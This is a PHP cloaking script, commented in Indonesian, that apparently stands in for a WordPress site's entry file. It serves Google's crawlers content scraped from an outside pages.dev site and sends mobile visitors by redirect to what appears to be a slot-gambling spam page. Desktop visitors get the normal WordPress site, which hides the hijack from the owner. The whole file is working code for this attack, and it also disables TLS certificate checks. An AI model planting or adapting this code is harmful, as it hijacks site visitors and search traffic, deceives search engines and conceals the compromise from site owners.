<?php
// cloaker.php - Full Code dengan Mobile Redirect + Google Bot Detection

$TARGET_URL = 'https://edu-universitaslia.pages.dev/';
$MOBILE_REDIRECT = 'https://scatterhitam-warunggol.pages.dev/';

// ========== DETEKSI GOOGLE BOT ==========
function is_google_bot() {
    $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
    $ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
    
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $ip = trim($ips[0]);
    }
    
    $google_ua = array('Googlebot', 'Google-InspectionTool', 'AdsBot-Google', 'Mediapartners-Google', 'APIs-Google', 'GoogleProducer', 'Google-Site-Verification');
    foreach ($google_ua as $agent) {
        if (stripos($ua, $agent) !== false) return true;
    }
    
    $hostname = @gethostbyaddr($ip);
    if ($hostname && (stripos($hostname, '.googlebot.com') !== false || stripos($hostname, '.google.com') !== false)) return true;
    
    $google_ips = array('66.249.', '66.102.', '74.125.', '209.85.', '216.239.', '64.233.', '172.217.', '172.253.', '108.177.', '142.250.', '142.251.', '35.184.', '35.185.', '35.190.', '35.191.', '35.192.', '35.193.', '35.194.', '35.195.', '35.196.', '35.197.', '35.198.', '35.199.', '35.200.', '35.201.', '35.202.', '35.203.', '35.204.', '35.205.', '35.206.', '35.207.', '35.208.', '35.209.', '35.210.', '35.211.', '35.212.', '35.213.', '35.214.', '35.215.', '35.216.', '35.217.', '35.218.', '35.219.', '35.220.', '35.221.', '35.222.', '35.223.', '35.224.', '35.225.', '35.226.', '35.227.', '35.228.', '35.229.', '35.230.', '35.231.', '35.232.', '35.233.', '34.64.', '34.65.', '34.66.', '34.67.', '34.68.', '34.69.', '34.70.', '34.71.', '34.72.', '34.73.', '34.74.', '34.75.', '34.76.', '34.77.', '34.78.', '34.79.', '34.80.', '34.81.', '34.82.', '34.83.', '34.84.', '34.85.', '34.86.', '34.87.', '34.88.', '34.89.', '34.90.', '34.91.', '34.92.', '34.93.', '34.94.', '34.95.', '34.96.', '34.97.', '34.98.', '34.99.');
    foreach ($google_ips as $prefix) {
        if (strpos($ip, $prefix) === 0) return true;
    }
    
    return false;
}

// ========== DETEKSI MOBILE ==========
function is_mobile() {
    $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
    $mobile = array('Android', 'webOS', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Windows Phone', 'Opera Mini', 'IEMobile', 'Mobile');
    foreach ($mobile as $m) {
        if (stripos($ua, $m) !== false) return true;
    }
    return false;
}

// ========== AMBIL KONTEN ==========
function fetch_url($url) {
    if (!function_exists('curl_init')) return false;
    
    $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'Mozilla/5.0 (compatible; Googlebot/2.1)';
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
    curl_setopt($ch, CURLOPT_USERAGENT, $ua);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
        'Accept: text/html,application/xhtml+xml',
        'Accept-Language: en-US,en;q=0.9',
        'Cache-Control: no-cache'
    ));
    
    $result = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return ($http_code >= 200 && $http_code < 400) ? $result : false;
}

// ========== LOGIKA UTAMA ==========

header('Cache-Control: no-cache, no-store, must-revalidate');
header('Pragma: no-cache');
header('Expires: 0');

// 1. Jika GOOGLE BOT → tampilkan TARGET_URL
if (is_google_bot()) {
    $content = fetch_url($TARGET_URL);
    if ($content) {
        echo $content;
    } else {
        http_response_code(503);
        echo 'Service Unavailable';
    }
    exit;
}

// 2. Jika MOBILE → redirect ke MOBILE_REDIRECT
if (is_mobile()) {
    header('Location: ' . $MOBILE_REDIRECT, true, 302);
    exit;
}

// 3. Selain itu → jalankan WordPress
define('WP_USE_THEMES', true);
require __DIR__ . '/wp-blog-header.php';
?>